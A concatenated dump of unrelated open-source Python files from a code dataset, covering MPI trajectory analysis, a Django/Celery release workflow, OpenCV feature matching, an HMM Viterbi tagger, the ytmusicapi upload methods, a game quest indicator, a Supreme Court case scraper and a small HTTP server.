'O5'\nkeyOc= 'O3_c'\nkeyOh= 'O3h_h'\nkeyR3c = 'R3_c'\nfalse_index = []\nfor i,name in enumerate(target):\n if name.find(keyo2) !=-1 or name.find(key) !=-1 or name.find(keyOc) !=-1 or name.find(keyOh) !=-1 or name.find(keyR3c) !=-1:\n false_index.append(i)\nfor i in range(len(outputs)): #remove O5\n for ind in sorted(false_index, reverse=True):\n outputs[i].pop(ind)\nfor ind in sorted(false_index, reverse=True):\n target.pop(ind)\n#get parameters name\n#get parameters name from the xml\nmydoc = minidom.parse('bfm_sensitivity.xml')\nitems = mydoc.getElementsByTagName('parameter')\nparameters = []\nfor i in range(len(items)):\n string = items[i].attributes['variable'].value\n if i<200:\n parameters.append(string.rsplit('/')[1]+string.rsplit('/')[-1])\n else :\n parameters.append(string.rsplit('/')[1]+string.rsplit('/')[-1])\n#get N1p index\nN1p = 0\nfor i,name in enumerate(parameters):\n if name == \"N1p\":\n N1p = i\n\n#count cycles \ncount = np.zeros(len(inputs))\nfor o in range(len(outputs)):\n for i in range(int(len(outputs[o])/2)):\n if outputs[o][2*i]+outputs[o][2*i+1]==2:\n count[o]=1\n else :\n pass\n#select directories with cycling behaviour for small N1p (<0.35)\ncyclesind =[]\nfor i in range(len(inputs)):\n if count[i]==1 and inputs[i][N1p]<0.35 : \n cyclesind.append(i)\n#select directories with non-cycling behaviour for large N1p (>0.35)\nlinind = []\nfor i in range(len(inputs)):\n if count[i]==0 and inputs[i][N1p]>0.35 :\n linind.append(i)\n#lenght of trajectories\nlenght = 10000\n\n#restirct to large covariance trajectories\npkname = 'var.pickle'\ninfile = open(pkname,'rb')\nnew_dict = pickle.load(infile)\ninfile.close()\ncv = new_dict.get('SC')\nidx = []\nfor iv in range(len(cv)):\n if np.max(cv[iv]) > 0.05: #collect trajectories with CV bigger than 0.05\n idx.append(iv)\nprint(idx,flush=True)\n\n# cycling trajectories\noutput_cycles = np.zeros((len(varnames),lenght))\nfilenames_cycle = [filenames[i] for i in cyclesind]\nfilenames_cycle_var = [filenames_cycle[i] for i in idx]\n\np_cycles = np.zeros(len(varnames))\nvar_cycles = np.zeros((len(filenames_cycle_var),len(varnames))) \ncount_s_c=0\nsh=0\ntot = np.zeros(len(varnames))\ntraj = np.zeros((len(filenames_cycle_var),len(varnames),lenght)) \nprint(len(filenames_cycle_var))\nfor inc,ncname in enumerate(filenames_cycle_var) :\n i= inc % nranks\n if i == rank :\n f = nc.Dataset(ncname)\n for it,tname in enumerate(varnames): #keep same order of xml file\n var = f.variables[tname][:,:,:,:]\n traj[inc,it,:] = var[:,0,0,0]\nprint('collecting ranks', flush=True)\nif rank == 0:\n for ipc,ncname in enumerate(filenames_cycle_var):\n i = ipc % nranks\n if i!=0: \n dic = comm.recv( source=i, tag=4 )\n traj_global[int(dic['idx']),:] = dic['data']\nelse :\n print('sending...',flush=True)\n for ipc,ncname in enumerate(filenames_cycle_var) :\n i= ipc % nranks\n dic = {'idx':ipc, 'data': traj[ipc,:,:]}\n if i== rank :\n comm.send( dic, dest=0, tag=4)\nprint('End of the loop',flush=True)\n#compute means\nif rank == 0 :\n print('writing pickle', flush=True)\n norm = 1.0 / len(filenames_cycle_var)\n pkname = 'traj.pickle'\n outfile = open(pkname,'wb')\n out_dict = {'T': traj_global}\n pickle.dump(out_dict,outfile)\n outfile.close()\n\n\n\n\n\n","repo_name":"inogs/stab_analyzer","sub_path":"seamless-notebooks-guido/parsac/high_cv_traj.py","file_name":"high_cv_traj.py","file_ext":"py","file_size_in_byte":4960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26319397471","text":"# coding=utf-8\nfrom core.common import get_result, logger, try_except\nfrom release.models import Type, Mission_control, Progress, Type_step, Step, Mission\nfrom play.tasks import ProgressHostRunTask, CmdRunTask, VersionConfirmTask, PublishTask\n\n\nclass ProgressActAdmin(object):\n @staticmethod\n @try_except\n def __do_task(task_cls, *args, **kwargs):\n task_cls().delay(*args, **kwargs)\n return get_result(0, 'add to queue')\n\n def progress_run(self, mission_id, host, status):\n return self.__do_task(ProgressHostRunTask, get_result(0, ''), Mission.objects.get(mark=mission_id), host, status)\n\n def progress_one(self, mission_id, host, order):\n return self.__do_task(CmdRunTask, mission_id, host, order)\n\n\ndef mission_exec_status(exec_id, content):\n if content in ('times', 'host_done'):\n mission_control = Mission_control.objects.get(id=exec_id)\n if content == 'times':\n mission_control.times += 1\n else:\n mission_control.host_done += 1\n mission_control.save()\n result = get_result(0, 'done')\n else:\n logger.error('%s', 'no this field')\n result = get_result(1, 'no this field')\n return result\n\n\ndef mission_version_confirm(mission_id):\n return VersionConfirmTask().run(mission_id)\n\n\ndef format_act(m):\n n_act = {}\n n = tuple(eval(m['args']))\n mission, a, b = n\n n_act['mission'] = mission\n n_act['func'] = m['name']\n n_act['id'] = m['id']\n return n_act\n\n\n@try_except\ndef mission_cancel(mission_id):\n from ops.celery import app\n while 1:\n reserved_act = app.control.inspect().reserved()\n all_acts = [format_act(m) for m in reserved_act['celery@Ops_Dev']]\n revoke_list = [x['id'] for x in all_acts if x['mission'] == mission_id]\n if len(revoke_list) == 0:\n break\n else:\n for n in revoke_list:\n app.control.revoke(n)\n return get_result(0, 'done')\n\n\ndef workflow_get(id=0):\n \"\"\"\n get the workflow-info\n :param id:\n :return:\n \"\"\"\n\n def work_order(node):\n return node['order']\n\n if id == 0:\n result = []\n all_type = Type.objects.all()\n for m in all_type:\n t_result = {'id': m.id, 'type': m.alias,}\n node_results = []\n for n in Type_step.objects.filter(type=m):\n n_result = {'alias': n.step.alias, 'order': n.order}\n node_results.append(n_result)\n t_result['step'] = sorted(node_results, key=work_order)\n result.append(t_result)\n else:\n n_type = Type.objects.get(id=id)\n result = {'id': id, 'type': n_type.alias}\n node_results = []\n for n in Type_step.objects.filter(type=n_type):\n n_result = {'alias': n.step.alias, 'order': n.order}\n node_results.append(n_result)\n result['step'] = sorted(node_results, key=work_order)\n return result\n\n\n@try_except\ndef workflow_update(new_data):\n type_id = new_data['id']\n n_type = Type.objects.get(id=type_id)\n Type_step.objects.filter(type=n_type).delete()\n for m in new_data['step']:\n Type_step.objects.create(\n type=n_type,\n step=Step.objects.get(alias=m['alias']),\n order=m['order']\n )\n return get_result(0, 'done!')\n","repo_name":"willji/release","sub_path":"release_action/act.py","file_name":"act.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16091788823","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef display(img,cmap='gray'):\n fig=plt.figure(figsize=(10,10))\n ax=fig.add_subplot(111)\n ax.imshow(img,cmap='gray')\n plt.show()\n\nreeses=cv2.imread(\"/home/sachin269/Desktop/Computer-Vision-with-Python (2)/Computer-Vision-with-Python/DATA/reeses_puffs.png\",0)\n\ncereals=cv2.imread(\"/home/sachin269/Desktop/Computer-Vision-with-Python (2)/Computer-Vision-with-Python/DATA/many_cereals.jpg\",0)\n\n\n# Brute Force Detection with ORB Descriptors\n\norb=cv2.ORB_create()\n\nkp1,des1=orb.detectAndCompute(reeses,None)\nkp2,des2=orb.detectAndCompute(cereals,None)\n\nbf=cv2.BFMatcher(cv2.NORM_HAMMING,crossCheck=True)\n\nmatches=bf.match(des1,des2)\n\nmatches=sorted(matches,key=lambda x:x.distance)\n\nreeses_matches=cv2.drawMatches(reeses,kp1,cereals,kp2,matches[:25],None,flags=2)\n\n# display(reeses_matches)\n\nsift=cv2.xfeatures2d.SIFT_create()\nkp3,des3=sift.detectAndCompute(reeses,None)\nkp4,des4=sift.detectAndCompute(cereals,None)\n# bf1=cv2.BFMatcher()\n# FLANN parameters\nFLANN_INDEX_KDTREE=0\nindex_params=dict(algorithm=FLANN_INDEX_KDTREE,trees=5)\nsearch_params=dict(checks=50)\n# matches1=bf1.knnMatch(des3,des4,k=2)\nflann=cv2.FlannBasedMatcher(index_params,search_params)\nmatches1=flann.knnMatch(des3,des4,k=2)\n# good=[]\nmatchesMask=[[0,0] for i in range (len(matches1))]\n# ?ratio test\nfor i,(match1,match2) in enumerate(matches1):\n if match1.distance < 0.7*match2.distance:\n # good.append([match1])\n matchesMask[i]=[1,0]\n\n# sift_matches=cv2.drawMatchesKnn(reeses,kp3,cereals,kp4,good,None,flags=2)\ndraw_params=dict(matchColor=(0,255,0),singlePointColor=(0,0,255),matchesMask=matchesMask,flags=0)\nflann_matches=cv2.drawMatchesKnn(reeses,kp3,cereals,kp4,matches1,None,**draw_params)\ndisplay(flann_matches)\n# print(len(good))\n# print(len(matches1))\n\n# FLANN-FIRST LIBRARY FOR APPROXIMATE LAST NEAREST NEIGHBORS\n\n","repo_name":"sachin7695/object-detection","sub_path":"FEAT_MATCH.PY","file_name":"FEAT_MATCH.PY","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3281441302","text":"\"\"\"\nThis is the main entry point for MP4. You should only modify code\nwithin this file -- the unrevised staff files will be used for all other\nfiles and classes when code is run, so be careful to not modify anything else.\n\"\"\"\nimport numpy as np\nimport collections\n# import timeit\nfrom collections import Counter\n\ndef baseline(train, test):\n '''\n TODO: implement the baseline algorithm.\n input: training data (list of sentences, with tags on the words)\n test data (list of sentences, no tags on the words)\n output: list of sentences, each sentence is a list of (word,tag) pairs.\n E.g., [[(word1, tag1), (word2, tag2)], [(word3, tag3), (word4, tag4)]]\n '''\n predicts = []\n counttagofeachword = Counter()\n for sentence in train:\n for wordtag in sentence:\n word = wordtag[0]\n tag = wordtag[1]\n if word in counttagofeachword:\n counttagofeachword[word][tag] += 1\n else:\n counttagofeachword[word] = Counter()\n counttagofeachword[word][tag] += 1\n for sentence in test:\n predict = []\n for word in sentence:\n if word not in counttagofeachword:\n predict.append((word, 'NOUN'))\n else:\n tag = counttagofeachword[word].most_common(1)[0][0]\n predict.append((word, tag))\n predicts.append(predict)\n\n\n\n\n\n # raise Exception(\"You must implement me\")\n return predicts\n\n\ndef viterbi(train, test):\n '''\n TODO: implement the Viterbi algorithm.\n input: training data (list of sentences, with tags on the words)\n test data (list of sentences, no tags on the words)\n output: list of sentences with tags on the words\n E.g., [[(word1, tag1), (word2, tag2)], [(word3, tag3), (word4, tag4)]]\n '''\n # start = timeit.default_timer()\n predicts = []\n initial_Tag = Counter()\n counttagofeachword = Counter()\n tag_count = Counter()\n # transition_tag = Counter()\n for sentence in train:\n a = True\n for wordtag in sentence:\n word = wordtag[0]\n tag = wordtag[1]\n tag_count[tag] += 1\n if a == True:\n if word not in initial_Tag:\n initial_Tag[word] = Counter()\n initial_Tag[word][tag] += 1\n else:\n initial_Tag[word][tag] += 1\n # initial_Tag[tag] += 1\n a = False\n if word in counttagofeachword:\n counttagofeachword[word][tag] += 1\n else:\n counttagofeachword[word] = Counter()\n counttagofeachword[word][tag] += 1\n\n transition_tag = Counter()\n for sentence in train:\n for i in range(len(sentence) - 1):\n word1 = sentence[i][0]\n tag1 = sentence[i][1]\n word2 = sentence[i+1][0]\n tag2 = sentence[i+1][1]\n if tag1 not in transition_tag:\n transition_tag[tag1] = Counter()\n transition_tag[tag1][tag2] += 1\n else:\n transition_tag[tag1][tag2] += 1\n\n #initial prob\n # initial_Tag_prob = Counter()\n initial_smooth = 0.01\n for word in initial_Tag:\n for tag in initial_Tag[word]:\n # print(initial_Tag[word])\n initial_Tag[word][tag] = np.log((initial_Tag[word][tag] + initial_smooth)/(len(train) + initial_smooth*2))\n # print(initial_Tag[word][tag])\n unseen_initial_prob = np.log(initial_smooth/(len(train) + initial_smooth*2))\n\n tagcount = []\n for key in tag_count:\n if key != 'START':\n tagcount.append(key)\n # print(len(tagcount))\n\n transition_smooth = 0.0001\n #transition prob\n # transition_prob = np.zeros(shape=(len(tag_count), len(tag_count)))\n for tag1 in transition_tag:\n for tag2 in transition_tag[tag1]:\n transition_tag[tag1][tag2] = np.log((transition_tag[tag1][tag2] + transition_smooth)/(tag_count[tag1]\n + transition_smooth * (len(tagcount) + 1)))\n\n hapax = Counter()\n # print(counttagofeachword)\n for word in counttagofeachword:\n if len(counttagofeachword[word]) == 1:\n for tag in counttagofeachword[word]:\n if counttagofeachword[word][tag] == 1:\n hapax[tag] += 1\n\n emission_smooth = 0.0001\n for word in counttagofeachword:\n for tag in counttagofeachword[word]:\n counttagofeachword[word][tag] = np.log((counttagofeachword[word][tag] + emission_smooth)/(tag_count[tag]\n + emission_smooth * (len(tag_count)+1)))\n\n for sentence in test:\n prob = []\n firstword = (0,0)\n prev = Counter()\n for i in range(len(sentence)):\n prob_tag = []\n word = sentence[i]\n if i == 0:\n if word in initial_Tag:\n for tag in initial_Tag[word]:\n proba = initial_Tag[word][tag] + counttagofeachword[word][tag]\n prob_tag.append((proba, 'START'))\n firstword = (proba, 'START')\n else:\n proba = unseen_initial_prob + np.log((emission_smooth)/(tag_count[tag]\n + emission_smooth * (len(tag_count)+1)))\n prob_tag.append((proba, 'START'))\n firstword = (proba, 'START')\n else:\n probe = 0.1\n probt = 0.1\n for tag in tagcount:\n if word in counttagofeachword:\n if tag in counttagofeachword[word]:\n probe = counttagofeachword[word][tag]\n else:\n probe = np.log((emission_smooth)/(tag_count[tag]\n + emission_smooth * (len(tag_count)+1)))\n else:\n if tag in hapax:\n probe = np.log(emission_smooth*(hapax[tag]/(sum(hapax.values()))))\n else:\n probe = np.log(emission_smooth/(sum(hapax.values())))\n maxv = -999999\n maxpre = (-9999999,'START')\n for tuple in prob[i-1]:\n p = tuple[0]\n x = tuple[1]\n if x in transition_tag:\n if tag in transition_tag[x]:\n probt = transition_tag[x][tag]\n else:\n probt = np.log((transition_smooth)/(tag_count[x]\n + transition_smooth * (len(tagcount) + 1)))\n else:\n probt = np.log((transition_smooth)/(tag_count[x]\n + transition_smooth * (len(tagcount)+1)))\n proba = p + probe + probt\n if proba > maxv:\n maxv = proba\n maxpre = tuple\n prev[(maxv, tag)] = maxpre\n prob_tag.append((maxv, tag))\n # print(prob_tag)\n\n prob.append(prob_tag)\n if (len(prob) == len(sentence)):\n max_tuple = (-99999999, 0)\n for tuple in prob[len(prob) - 1]:\n if tuple[0] >= max_tuple[0]:\n max_tuple = tuple\n h = max_tuple\n predic = []\n predic.append(h[1])\n while (h in prev and prev[h][1] != firstword[1]):\n h = prev[h]\n # if (h[1] == 'START'):\n # break\n predic.append(h[1])\n predic.append(firstword[1])\n predic.reverse()\n predict = []\n for i in range(len(sentence)):\n predict.append((sentence[i], predic[i]))\n predicts.append(predict)\n # stop = timeit.default_timer()\n # print('Time: ', stop - start)\n return predicts\n","repo_name":"chengyi3/machine-learning-projects","sub_path":"23126078/viterbi.py","file_name":"viterbi.py","file_ext":"py","file_size_in_byte":8134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32850268307","text":"import requests\nimport ntpath\nimport os\nfrom typing import List, Dict, Union\n\nfrom ._utils import validate_order_parameter, prepare_order_params\nfrom ytmusicapi.helpers import *\nfrom ytmusicapi.navigation import *\nfrom ytmusicapi.continuations import get_continuations\nfrom ytmusicapi.parsers.library import parse_library_albums, parse_library_artists, get_library_contents\nfrom ytmusicapi.parsers.albums import parse_album_header\nfrom ytmusicapi.parsers.uploads import parse_uploaded_items\n\n\nclass UploadsMixin:\n def get_library_upload_songs(self, limit: int = 25, order: str = None) -> List[Dict]:\n \"\"\"\n Returns a list of uploaded songs\n\n :param limit: How many songs to return. `None` retrieves them all. Default: 25\n :param order: Order of songs to return. Allowed values: 'a_to_z', 'z_to_a', 'recently_added'. Default: Default order.\n :return: List of uploaded songs.\n\n Each item is in the following format::\n\n {\n \"entityId\": \"t_po_CICr2crg7OWpchDpjPjrBA\",\n \"videoId\": \"Uise6RPKoek\",\n \"artists\": [{\n 'name': 'Coldplay',\n 'id': 'FEmusic_library_privately_owned_artist_detaila_po_CICr2crg7OWpchIIY29sZHBsYXk',\n }],\n \"title\": \"A Sky Full Of Stars\",\n \"album\": \"Ghost Stories\",\n \"likeStatus\": \"LIKE\",\n \"thumbnails\": [...]\n }\n \"\"\"\n self._check_auth()\n endpoint = 'browse'\n body = {\"browseId\": \"FEmusic_library_privately_owned_tracks\"}\n validate_order_parameter(order)\n if order is not None:\n body[\"params\"] = prepare_order_params(order)\n response = self._send_request(endpoint, body)\n results = get_library_contents(response, MUSIC_SHELF)\n if results is None:\n return []\n songs = parse_uploaded_items(results['contents'][1:])\n\n if 'continuations' in results:\n request_func = lambda additionalParams: self._send_request(\n endpoint, body, additionalParams)\n remaining_limit = None if limit is None else (limit - len(songs))\n songs.extend(\n get_continuations(results, 'musicShelfContinuation', remaining_limit, request_func,\n parse_uploaded_items))\n\n return songs\n\n def get_library_upload_albums(self, limit: int = 25, order: str = None) -> List[Dict]:\n \"\"\"\n Gets the albums of uploaded songs in the user's library.\n\n :param limit: Number of albums to return. `None` retrives them all. Default: 25\n :param order: Order of albums to return. Allowed values: 'a_to_z', 'z_to_a', 'recently_added'. Default: Default order.\n :return: List of albums as returned by :py:func:`get_library_albums`\n \"\"\"\n self._check_auth()\n body = {'browseId': 'FEmusic_library_privately_owned_releases'}\n validate_order_parameter(order)\n if order is not None:\n body[\"params\"] = prepare_order_params(order)\n endpoint = 'browse'\n response = self._send_request(endpoint, body)\n return parse_library_albums(\n response,\n lambda additionalParams: self._send_request(endpoint, body, additionalParams), limit)\n\n def get_library_upload_artists(self, limit: int = 25, order: str = None) -> List[Dict]:\n \"\"\"\n Gets the artists of uploaded songs in the user's library.\n\n :param limit: Number of artists to return. `None` retrieves them all. Default: 25\n :param order: Order of artists to return. Allowed values: 'a_to_z', 'z_to_a', 'recently_added'. Default: Default order.\n :return: List of artists as returned by :py:func:`get_library_artists`\n \"\"\"\n self._check_auth()\n body = {'browseId': 'FEmusic_library_privately_owned_artists'}\n validate_order_parameter(order)\n if order is not None:\n body[\"params\"] = prepare_order_params(order)\n endpoint = 'browse'\n response = self._send_request(endpoint, body)\n return parse_library_artists(\n response,\n lambda additionalParams: self._send_request(endpoint, body, additionalParams), limit)\n\n def get_library_upload_artist(self, browseId: str, limit: int = 25) -> List[Dict]:\n \"\"\"\n Returns a list of uploaded tracks for the artist.\n\n :param browseId: Browse id of the upload artist, i.e. from :py:func:`get_library_upload_songs`\n :param limit: Number of songs to return (increments of 25).\n :return: List of uploaded songs.\n\n Example List::\n\n [\n {\n \"entityId\": \"t_po_CICr2crg7OWpchDKwoakAQ\",\n \"videoId\": \"Dtffhy8WJgw\",\n \"title\": \"Hold Me (Original Mix)\",\n \"artists\": [\n {\n \"name\": \"Jakko\",\n \"id\": \"FEmusic_library_privately_owned_artist_detaila_po_CICr2crg7OWpchIFamFra28\"\n }\n ],\n \"album\": null,\n \"likeStatus\": \"LIKE\",\n \"thumbnails\": [...]\n }\n ]\n \"\"\"\n self._check_auth()\n body = {'browseId': browseId}\n endpoint = 'browse'\n response = self._send_request(endpoint, body)\n results = nav(response, SINGLE_COLUMN_TAB + SECTION_LIST_ITEM + MUSIC_SHELF)\n if len(results['contents']) > 1:\n results['contents'].pop(0)\n\n items = parse_uploaded_items(results['contents'])\n\n if 'continuations' in results:\n request_func = lambda additionalParams: self._send_request(\n endpoint, body, additionalParams)\n parse_func = lambda contents: parse_uploaded_items(contents)\n remaining_limit = None if limit is None else (limit - len(items))\n items.extend(\n get_continuations(results, 'musicShelfContinuation', remaining_limit, request_func,\n parse_func))\n\n return items\n\n def get_library_upload_album(self, browseId: str) -> Dict:\n \"\"\"\n Get information and tracks of an album associated with uploaded tracks\n\n :param browseId: Browse id of the upload album, i.e. from i.e. from :py:func:`get_library_upload_songs`\n :return: Dictionary with title, description, artist and tracks.\n\n Example album::\n\n {\n \"title\": \"18 Months\",\n \"type\": \"Album\",\n \"thumbnails\": [...],\n \"trackCount\": 7,\n \"duration\": \"24 minutes\",\n \"audioPlaylistId\": \"MLPRb_po_55chars\",\n \"tracks\": [\n {\n \"entityId\": \"t_po_22chars\",\n \"videoId\": \"FVo-UZoPygI\",\n \"title\": \"Feel So Close\",\n \"duration\": \"4:15\",\n \"duration_seconds\": 255,\n \"artists\": None,\n \"album\": {\n \"name\": \"18 Months\",\n \"id\": \"FEmusic_library_privately_owned_release_detailb_po_55chars\"\n },\n \"likeStatus\": \"INDIFFERENT\",\n \"thumbnails\": None\n },\n \"\"\"\n self._check_auth()\n body = {'browseId': browseId}\n endpoint = 'browse'\n response = self._send_request(endpoint, body)\n album = parse_album_header(response)\n results = nav(response, SINGLE_COLUMN_TAB + SECTION_LIST_ITEM + MUSIC_SHELF)\n album['tracks'] = parse_uploaded_items(results['contents'])\n album['duration_seconds'] = sum_total_duration(album)\n return album\n\n def upload_song(self, filepath: str) -> Union[str, requests.Response]:\n \"\"\"\n Uploads a song to YouTube Music\n\n :param filepath: Path to the music file (mp3, m4a, wma, flac or ogg)\n :return: Status String or full response\n \"\"\"\n self._check_auth()\n if not self.is_browser_auth:\n raise Exception(\"Please provide authentication before using this function\")\n if not os.path.isfile(filepath):\n raise Exception(\"The provided file does not exist.\")\n\n supported_filetypes = [\"mp3\", \"m4a\", \"wma\", \"flac\", \"ogg\"]\n if os.path.splitext(filepath)[1][1:] not in supported_filetypes:\n raise Exception(\n \"The provided file type is not supported by YouTube Music. Supported file types are \"\n + ', '.join(supported_filetypes))\n\n headers = self.headers.copy()\n upload_url = \"https://upload.youtube.com/upload/usermusic/http?authuser=%s\" % headers[\n 'x-goog-authuser']\n filesize = os.path.getsize(filepath)\n body = (\"filename=\" + ntpath.basename(filepath)).encode('utf-8')\n headers.pop('content-encoding', None)\n headers['content-type'] = 'application/x-www-form-urlencoded;charset=utf-8'\n headers['X-Goog-Upload-Command'] = 'start'\n headers['X-Goog-Upload-Header-Content-Length'] = str(filesize)\n headers['X-Goog-Upload-Protocol'] = 'resumable'\n response = requests.post(upload_url, data=body, headers=headers, proxies=self.proxies)\n headers['X-Goog-Upload-Command'] = 'upload, finalize'\n headers['X-Goog-Upload-Offset'] = '0'\n upload_url = response.headers['X-Goog-Upload-URL']\n with open(filepath, 'rb') as file:\n response = requests.post(upload_url, data=file, headers=headers, proxies=self.proxies)\n\n if response.status_code == 200:\n return 'STATUS_SUCCEEDED'\n else:\n return response\n\n def delete_upload_entity(self, entityId: str) -> Union[str, Dict]: # pragma: no cover\n \"\"\"\n Deletes a previously uploaded song or album\n\n :param entityId: The entity id of the uploaded song or album,\n e.g. retrieved from :py:func:`get_library_upload_songs`\n :return: Status String or error\n \"\"\"\n self._check_auth()\n endpoint = 'music/delete_privately_owned_entity'\n if 'FEmusic_library_privately_owned_release_detail' in entityId:\n entityId = entityId.replace('FEmusic_library_privately_owned_release_detail', '')\n\n body = {\"entityId\": entityId}\n response = self._send_request(endpoint, body)\n\n if 'error' not in response:\n return 'STATUS_SUCCEEDED'\n else:\n return response['error']\n","repo_name":"sigma67/ytmusicapi","sub_path":"ytmusicapi/mixins/uploads.py","file_name":"uploads.py","file_ext":"py","file_size_in_byte":10479,"program_lang":"python","lang":"en","doc_type":"code","stars":1280,"dataset":"github-code","pt":"67"} +{"seq_id":"10260845361","text":"from pirates.quest.QuestIndicatorNode import QuestIndicatorNode\nfrom direct.showbase.PythonUtil import report, StackTrace\n\nclass QuestIndicatorNodeDinghy(QuestIndicatorNode):\n\n def __init__(self, questStep):\n self.nearEffect = None\n QuestIndicatorNode.__init__(self, 'DinghyIndicator', [\n 50], questStep)\n return\n\n def placeInWorld(self):\n originObj = base.cr.doId2do.get(self.questStep.getOriginDoId())\n if originObj:\n posH = self.questStep.getPosH()\n pos, h = posH[:3], posH[3]\n self.reparentTo(originObj)\n self.setPos(*pos)\n self.setHpr(h, 0, 0)\n\n def loadZoneLevel(self, level):\n QuestIndicatorNode.loadZoneLevel(self, level)\n if level == 0:\n self.stopTargetRefresh()\n elif level == 1:\n self.request('Far')\n self.requestTargetRefresh()\n\n def unloadZoneLevel(self, level):\n QuestIndicatorNode.unloadZoneLevel(self, level)\n if level == 0:\n self.requestTargetRefresh()\n elif level == 1:\n self.stopTargetRefresh()\n self.request('Off')","repo_name":"PiratesOnlineRewritten/Pirates-Online-Rewritten","sub_path":"pirates/quest/QuestIndicatorNodeDinghy.py","file_name":"QuestIndicatorNodeDinghy.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"67"} +{"seq_id":"19021978851","text":"# main variables\ninput_dir = \"\"\nterm = 2019\ninput_file = \"sources.txt\"\ninput_file = str(term) + \"_\" + input_file\nif __name__ == \"__main__\":\n Verbose = True\nelse:\n Verbose = False\n\n# for folder navigation\nimport os\nscript_dir = os.getcwd()\ndef folder_nav(dir):\n # change to new folder\n if dir == \"\":\n return script_dir\n elif os.path.exists(os.path.join(script_dir, dir)):\n dir = os.path.join(script_dir, dir)\n if Verbose:\n print(f'Current input directory is {dir}')\n else:\n try:\n if Verbose: print(\"Input file folder doesn't exist, creating...\")\n os.makedirs(script_dir + dir)\n dir = os.path.join(script_dir, dir)\n except Exception as ex:\n print(f'Fatal error - input directory {dir} not found and cannot be created.')\n print(ex)\n quit()\n os.chdir(dir)\n\ndef get_pages_from_file(file):\n # get url list from input file\n folder_nav(input_dir)\n sites = []\n if Verbose: print(f'Looking for {file} in {os.getcwd()}')\n try:\n with open(input_file) as f:\n for line in f:\n line = line.strip()\n if len(line)>0:\n sites.append(line)\n except Exception as ex:\n print(f'Fatal error - file {file} not found in {input_dir} and cannot be created.')\n print(ex)\n quit()\n return sites\n\n# get to scraping\nfrom urllib.request import urlopen, Request\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nfrom tabulate import tabulate\n# fake \"real\" browser to avoid bad site response\nheaders={\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'\n }\ndef get_site_data(url):\n # returns dictionary of headers and paragraphs\n page_dict = {}\n req = Request(\n url,\n data=None,\n headers=headers\n )\n try:\n page = urlopen(req)\n soup = BeautifulSoup(page, 'html.parser')\n # TO DO: return -1 if outdated browser response\n except Exception as ex:\n print(f'Error - website {url} not reached.')\n print(ex)\n page_dict.update( {'page' : -1} )\n return page_dict\n table = soup.find_all('table')[0]\n df = pd.read_html(str(table))\n if Verbose:\n # print(soup.prettify())\n # print( tabulate(df[0], headers='keys', tablefmt='psql') )\n print(df)\n return df\n\n# other options are to work directly with Google API:\n# https://developers.google.com/sheets/api/quickstart/python\n# https://developers.google.com/sheets/api/guides/values\n# But we're trying gspread_pandas for now\n# for this to work, manage API here:\n# https://console.developers.google.com/apis/credentials\nfrom gspread_pandas import Spread, conf\ncred = conf.get_config(script_dir, \"default.json\")\ndef send_2_sheets(df, sheet):\n # This will ask to authenticate if you haven't done so before\n spread = Spread(\"fantasyscotus@fantasyscotus.iam.gserviceaccount.com\",\n sheet,\n config = cred)\n # This will show available sheets:\n if Verbose:\n spread.sheets\n # Save DataFrame to worksheet 'New Test Sheet', create it first if it doesn't exist\n spread.df_to_sheet(df, index=False, sheet=sheet, start='A2', replace=True)\n spread.update_cells('A1', 'A1', ['Created by:', spread.email])\n if Verbose:\n print(spread)\n\n# main\ncases = pd.DataFrame(columns = ['Docket No.',\n 'Op. Below',\n 'Argument',\n 'Opinion',\n 'Vote',\n 'Author',\n 'Term'])\nparser_sites = get_pages_from_file(input_file)\n# during testing, skip first case\nfirst_test_case = Verbose\nfor page in parser_sites:\n if Verbose:\n print(f\"Working on {page}\")\n if first_test_case:\n first_test_case = False\n new_case = get_site_data(page)\n if new_case:\n cases = cases.append(new_case, sort=False)\n else:\n print(f'Error - site at {page} did not return a table.')\nif Verbose:\n print( tabulate(cases, headers='keys', tablefmt='psql') )\nsend_2_sheets(cases, str(term) + \"_Fantasy_SCOTUS\")\n","repo_name":"Enturk/Fantasy_SCOTUS","sub_path":"page_scraper.py","file_name":"page_scraper.py","file_ext":"py","file_size_in_byte":4297,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"22109918615","text":"from http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\nimport re\n\nhostName = \"localhost\"\nserverPort = 8080\nregions = ['Автозаводский р-н',\n 'Приокский р-н',\n 'Ленинский р-н',\n 'Московский р-н',\n 'Канавинский р-н',\n 'Сормовский р-н',\n 'Нижегородский р-н',\n 'Советский р-н']\n\n\nclass MyServer(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html\")\n self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n self.end_headers()\n if 'test' in self.path:\n id = int(re.findall('[0-9]+', self.path)[0])\n result_text = regions[id] + '

'\n result_text += 'Ближайшие ПСМП: '\n result_text += '

Прогноз загруженности БСМП: '\n result_text += '

Потенциальные патологии: '\n result_text += '

